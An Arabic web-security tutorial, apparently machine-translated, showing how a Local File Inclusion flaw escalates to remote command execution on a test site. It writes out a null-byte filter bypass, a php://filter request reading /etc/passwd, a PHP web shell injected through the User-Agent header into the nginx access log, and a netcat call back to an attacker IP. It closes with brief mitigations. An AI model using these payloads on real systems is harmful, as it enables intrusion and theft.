أمان الويب: من LFI إلى RCE

Local File Inclusion (LFI) هو القدرة على استخدام ملفات الخادم المحلي. تسمح الثغرة الأمنية للمستخدم البعيد بالوصول إلى الملفات التعسفية على الخادم باستخدام طلب معد خصيصًا ، بما في ذلك الملفات السرية المحتملة. سنخبرك اليوم كيف يمكن للمهاجم الذي يستخدم هذا الخلل تنفيذ الأوامر على خادم بعيد.



تظهر ثغرة أمنية مماثلة عند استخدام وظائف غير آمنة في تنفيذ تطبيق ويب ، على سبيل المثال ، التضمين ، والذي يسمح لك بتضمين محتوى في صفحة من ملف محلي. في حالتنا ، يبدو الأمر كما يلي:







بفضل سطر التضمين (“$ file”) ، سيتم تضمين قيمة ملف معلمة GET في محتوى الصفحة . الآن ، باستخدام هذه الثغرة الأمنية ، سنعيد الملفات المحلية التي نحددها في المعلمة.

المقالة لأغراض إعلامية فقط. لا تخالف القانون.

كشف الضعف

كيف تجد الثغرة؟ إذا حددت في معلمة يحتمل أن تكون عرضة للهجوم تضمين ملف محلي ، على سبيل المثال ، فهرس بأي امتداد ، وسيتم فتح هذا الملف ، فيمكننا بالتأكيد أن نقول إن المعلمة مسؤولة عن تبديل الملف. يمكن القيام بذلك إما يدويًا أو باستخدام أدوات آلية متنوعة ، على سبيل المثال ، ماسح Wapiti للثغرات الأمنية ، والذي ورد ذكره في إحدى مقالاتنا ، أو أداة متخصصة LFISuite ، مصممة خصيصًا للبحث عن ثغرات LFI واستغلالها.











ما هي المزالق يمكن أن يكون هناك؟ على سبيل المثال ، وجود تصفية ستحل محل امتداد الملف في نهاية السطر ، على سبيل المثال ، .php . وبالتالي ، عندما نحاول تضمين ملف / etc / passwd في الصفحة ، سوف نتلقى file = / etc / passwd.php في شريط العناوين ، ولن يتم عرض محتويات هذا الملف على الصفحة ، لأن الملف غير موجود. ولكن يمكن تجاوز هذا الفلتر باستخدام ما يسمى بصفر بايت ، والذي "سيقطع" كل ما يأتي بعده. الحقيقة هي أن شريط العنوان بأكمله عند إرسال طلب HTTP يتم ترميزه بترميز URL ، وفي هذا التشفير ، يبدو البايت الصفري ٪ 00 . وهكذا ، فإن الخط /etc/passwd٪00.phpسيتم تحويلها إلى / etc / passwd . ومع ذلك ، تجدر الإشارة إلى أن هذه المشكلة معروفة إلى حد ما وتم إصلاحها في PHP 5.3+ ،



وهناك خيار آخر لتجاوز التصفية وهو استخدام مرشح php . في المعلمة المسؤولة عن تضمين الملفات ، لا نكتب فقط مسار الملف الذي نريد تضمينه ، ولكننا نكتب مسار الملف باستخدام هذه الوظيفة. يبدو الطلب الذي سنرسله الآن كما يلي:

http://site.test.lan/index2.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
    

والآن على صفحة المتصفح ، لن نرى محتويات الملف ، ولكن مصدره مشفر في base64 ، والذي يمكن فك تشفيره: لقد اكتشفنا











النقاط الرئيسية لثغرة LFI ، والآن نفهم أنه أثناء استغلالها من الممكن قراءة ملف محلي على خادم بعيد. لكن LFI لديها ميزة مثيرة للاهتمام تتيح لك ليس فقط قراءة الملفات المحلية ، ولكن أيضًا اختراق الخادم.

تسمم سجل خادم الويب

أعتقد أنه من الجدير بالذكر على الفور أن الثغرة الأمنية ليست جديدة ، ولكنها مع ذلك لا تزال تحدث ويمكن أن تشكل تهديدًا خطيرًا لأمن خادم الويب. عند التفاعل مع تطبيق ويب ، يتم تسجيل أي من طلباتنا في سجلات خادم الويب ، كقاعدة عامة ، هذه هي الملفات /var/log/nginx/access.log أو /var/log/nginx/error.log إذا ، على سبيل المثال ، تم استخدام خادم الويب Nginx ، لكن أسماء الملفات النهائية ، بالطبع ، قد تختلف.







الآن ، من خلال تقديم طلب خاص ، سننشئ غلاف ويب على الخادم ، ونكتبه في access.log . للقيام بذلك ، قم بتغيير رأس User-Agent عن طريق إضافة <؟ نظام php ($ _ GET [cmd])؛ ؟> . لإرسال طلب ، سنستخدم أداة Burp Suite ، التي تتيح لك اعتراض الطلبات وتعديلها في الوقت الفعلي. لماذا تم استخدام User-Agent ؟ كما ذكرنا سابقًا ، يقوم شريط العنوان بترميز المعلومات باستخدام ترميز URL ، وبالتالي ، لنقل كود php ، تحتاج إلى استخدام الرؤوس ، وبما أن User-Agent مكتوب تمامًا في access.log ، فسنستخدمه . غلاف الويب مكتوب وجاهز للاستخدام: عند الوصول إلى سجل تطبيق الويب باستخدام ثغرة LFI ، ستتم قراءة محتوياتها ، والنص <؟ Php system ($ _ GET [cmd])؛ ؟>















- تنفيذ ، والذي سيسمح باستخدام متغير " cmd " لتنفيذ الأوامر على الخادم:

http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=ls /
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
    

على عكس LFI ، حيث لقراءة محتويات الملف ، يجب عليك تحديد المسار الكامل إليه ، في الحالة الثانية ، يتم تنفيذ أوامر عشوائية على الخادم. هذا يعني أنه بالإضافة إلى قراءة ملفات الخادم ، يمكننا الوصول إليها. للقيام بذلك ، نحدد في المعلمة cmd الأمر لتشغيل Netcat للتواصل مع خادم المهاجم ، أي معنا:

http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=nc 192.168.0.135 4455
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
    

التوصيات

• التحقق بانتظام من أمان تطبيق الويب من أجل منع نقاط الضعف ؛
• أضف السطر <؟ php exit (1) إلى سجل خادم الويب ؛ ؟> . سيمنع هذا البرنامج النصي أي محاولات لتنفيذ كود php في هذا الملف (ليست فكرة جيدة ، لكنها تعمل ، على الأقل حتى يقوم rsyslog بإعادة إنشاء ملف السجل) ؛
  
  
  
  
• استخدم WAF ، والذي سيحظر أي طلب ضار ، ويمنع تنفيذه على خادم الويب.